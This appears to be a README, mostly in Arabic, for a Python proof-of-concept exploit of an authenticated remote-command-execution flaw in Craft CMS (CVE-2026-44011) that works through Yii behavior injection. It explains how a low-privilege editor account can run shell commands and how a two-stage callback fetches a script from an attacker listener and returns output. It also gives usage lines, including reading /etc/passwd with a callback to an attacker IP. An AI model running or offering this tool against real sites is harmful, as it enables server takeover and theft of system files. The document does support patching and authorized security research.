
استغلال إثبات مفهوم بلغة Python للثغرة CVE-2026-44011، وهي تنفيذ أوامر عن بُعد (RCE) بعد المصادقة في Craft CMS عبر حقن سلوك Yii، مع التقاط مخرجات الأوامر على مرحلتين.
تنفيذ أوامر عن بُعد (RCE) بعد المصادقة في Craft CMS عبر حقن سلوك Yii.
المتأثر: 4.0.0–4.17.11، 5.0.0–5.9.17
تم الإصلاح في: 4.17.12، 5.9.18
الإشعار الأمني: GHSA-qrgm-p9w5-rrfw
نقطة النهاية /admin/actions/element-search/search تقبل معامل condition الذي يُمرَّر مباشرة إلى ElementCondition::createCondition() دون استدعاء Component::cleanseConfig() أولاً. هذا يعني أن مفاتيح Yii الخاصة ببناء الكائنات — __class، as <name> (إرفاق سلوك)، on <event> (تسجيل معالج) — تصبح فعّالة عند بناء كائن FieldLayout من بيانات الطلب.
يُرفق الاستغلال AttributeTypecastBehavior مُهيَّأً لاستدعاء Psy\Readline\Hoa\ConsoleProcessus::execute() (دالة داخلية في PSY/Yii تنفّذ أوامر shell) كدالة تحويل النوع الخاصة به. يُفعَّل السلوك عند حدث beforeSave، الذي يُشغّله Craft خلال الطلب نفسه.
أي حساب — حتى محرر منخفض الصلاحيات — يمكنه فعل ذلك. لا حاجة لصلاحيات مدير.
بدلاً من reverse shell أعمى، يستخدم التقاط المخرجات على مرحلتين:
curl يجلب سكربت shell من مستمع HTTP محلي تتحكم بهتحصل على مخرجات الأمر مباشرة في الطرفية، دون الحاجة إلى مستمع nc.
requests (pip install requests)# Basic — run id on the target
python3 exploit.py \
-b http://target.com \
-u [email protected] \
-p 'password123' \
-c 'id'
# Custom control panel path
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'
# Specify your callback address when it can't be inferred
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
-H 10.10.14.5 --listen-port 8080
# Skip TLS verification (self-signed certs)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify
# Skip version check (e.g. version detection fails)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force
مضيف/منفذ الاستدعاء الراجع هو المكان الذي يرسل إليه الهدف المخرجات عبر POST إليك. افتراضياً يُستنتج المضيف من مسارك إلى الهدف ويُعيَّن المنفذ من قِبل نظام التشغيل. إذا كان الهدف خلف NAT أو VPN فستحتاج إلى --callback-host يشير إلى عنوان IP الخاص بك القابل للوصول.
-b / --base-url Target origin (required)
-P / --cp-path Control panel path (default: /admin)
-u / --username Login name or email (required)
-p / --password Password (required)
-c / --command Shell command to execute (required)
-s / --site-id Craft site ID (default: 1)
-e / --element-type Element type for the condition (default: craft\elements\Category)
-t / --timeout Request timeout in seconds (default: 15)
-H / --callback-host Your reachable address for output callbacks
--listen-port Port for output listener (default: OS picks one)
--no-verify Skip TLS cert verification
-F / --force Skip version range check
لاختبارات الأمان المصرّح بها والأبحاث فقط.